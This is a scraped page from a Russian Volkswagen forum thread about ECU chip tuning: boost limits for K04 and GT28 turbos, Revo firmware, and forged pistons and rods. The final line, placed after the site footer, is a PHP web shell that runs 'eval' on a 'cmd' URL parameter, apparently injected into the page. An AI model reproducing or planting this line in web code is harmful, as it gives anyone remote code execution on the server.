+ Ответить в теме
Показано с 1 по 10 из 809

Тема: чип vs чип (подход, особенности, проблемы и т.п.)


Комбинированный просмотр

  1. #1
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    так они дуют меньше чем я дую К04й :)
    двушку задуют - будет щастье.

  2. #2
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от turborabbit Посмотреть сообщение
    так они дуют меньше чем я дую К04й :)
    двушку задуют - будет щастье.
    Ну если Амет, как человек работающий с Рево скажет почему не дует туда 2.0, то может и узнаем.

    Добавлено через 1 минуту
    Кирилл, может ГТ28 не безопасно работать на двух ..... вообще какой там разумный предел надежности ?
    Последний раз редактировалось BON; 14.09.2011 в 15:30. Причина: Добавлено сообщение
    песок сыпется....не останавливайтесь на достигнутом !

  3. #3
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от BON Посмотреть сообщение
    Кирилл, может ГТ28 не безопасно работать на двух ..... вообще какой там разумный предел надежности ?
    ====
    Ну что вы как дети малые :)
    Двушка это образно, да и не нужно никому столько, там как я понял всего ничего-то и не хватает для щастья

  4. #4
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от turborabbit Посмотреть сообщение
    ====
    Ну что вы как дети малые :)
    Двушка это образно, да и не нужно никому столько, там как я понял всего ничего-то и не хватает для щастья
    А что ему нужно, показать тебе логи или\и купить твою прошивку ?
    песок сыпется....не останавливайтесь на достигнутом !

  5. #5
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от BON Посмотреть сообщение
    А что ему нужно, показать тебе логи или\и купить твою прошивку ?
    ====
    Ему нужно банально поднять давление наддува.
    И если я пишу что "они дуют мало", но наверное я логи-то уже видел :)

  6. #6
    GTI-Racing Амет is a jewel in the rough Амет is a jewel in the rough Амет is a jewel in the rough Аватар для Амет
    Регистрация
    16.09.2009
    Машина
    Cupra MK2
    Сообщений
    882
    Цитата Сообщение от BON Посмотреть сообщение
    Ну если Амет, как человек работающий с Рево скажет почему не дует туда 2.0, то может и узнаем.
    я ж не идиот :)
    1.7 имхо разумный потолок

    BON, я поражаюсь твой суетливости :)

  7. #7
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от Амет Посмотреть сообщение
    я ж не идиот :)
    1.7 имхо разумный потолок

    BON, я поражаюсь твой суетливости :)
    эээээ.....Спасибо, я ведь как бэ тут живу, приходится за всем наблюдать )))) истина где то рядом, все должно быть изучено, люди довольны, машины ехали, мы отдыхали и радовались, потом опять по кругу )))
    песок сыпется....не останавливайтесь на достигнутом !

  8. #8
    III место Лучший Пилот клуба 2011 Гера has a spectacular aura about Гера has a spectacular aura about Гера has a spectacular aura about Аватар для Гера
    Регистрация
    08.11.2007
    Откуда
    в Москве
    Машина
    Nissan Quest
    Сообщений
    4,674
    Сергей, ты имеешь в виду кованые шатуны - я правильно понял?
    Golf V GTI МКПП + REVO k04 Stage 3 + Quiafe LSD + intake air system K&N + sway bars H&R + BSR down pipe + APR`s exhaust + сooler autobahn88 + водитель Сергей - продано...

  9. #9
    GTI-Racing Глум is on a distinguished road Аватар для Глум
    Регистрация
    13.06.2007
    Откуда
    Москва
    Машина
    Skoda vRS 3**hp
    Сообщений
    335
    Цитата Сообщение от Гера Посмотреть сообщение
    Сергей, ты имеешь в виду кованые шатуны - я правильно понял?
    Поршни Wossner ковка, шатуны IE. Сами шатуны не кованые в полном смысле слова. Если придерживаться описания-спецсплав с добавками, закаленые. На вес-чуть легче штатных. Как то так.

  10. #10
    III место Лучший Пилот клуба 2011 Гера has a spectacular aura about Гера has a spectacular aura about Гера has a spectacular aura about Аватар для Гера
    Регистрация
    08.11.2007
    Откуда
    в Москве
    Машина
    Nissan Quest
    Сообщений
    4,674
    Цитата Сообщение от Глум Посмотреть сообщение
    Поршни Wossner ковка, шатуны IE. Сами шатуны не кованые в полном смысле слова. Если придерживаться описания-спецсплав с добавками, закаленые. На вес-чуть легче штатных. Как то так.
    В чём смысл замены - можно подробнее?
    ПРосто комплект поршней на ebay стоит 27300 рублей с доставкой. В чём цимес?
    Golf V GTI МКПП + REVO k04 Stage 3 + Quiafe LSD + intake air system K&N + sway bars H&R + BSR down pipe + APR`s exhaust + сooler autobahn88 + водитель Сергей - продано...

+ Ответить в теме

Похожие темы

  1. Особенности установки холодного впуска на 2.0Т
    от serzh1 в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 47
    Последнее сообщение: 02.10.2023, 06:07
  2. Проблемы с DSG на GTI VI
    от Strang3r в разделе Отзывы / Выбор
    Ответов: 50
    Последнее сообщение: 13.09.2010, 19:45
  3. все технические особенности Volkswagen
    от nedoroslik в разделе Отзывы / Выбор
    Ответов: 4
    Последнее сообщение: 20.01.2010, 02:20
  4. Проблемы с DSG
    от DendisGTI в разделе Украина
    Ответов: 11
    Последнее сообщение: 24.12.2009, 20:12
  5. проблемы с vr6
    от no frost в разделе Двигатель
    Ответов: 3
    Последнее сообщение: 25.05.2008, 12:51

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}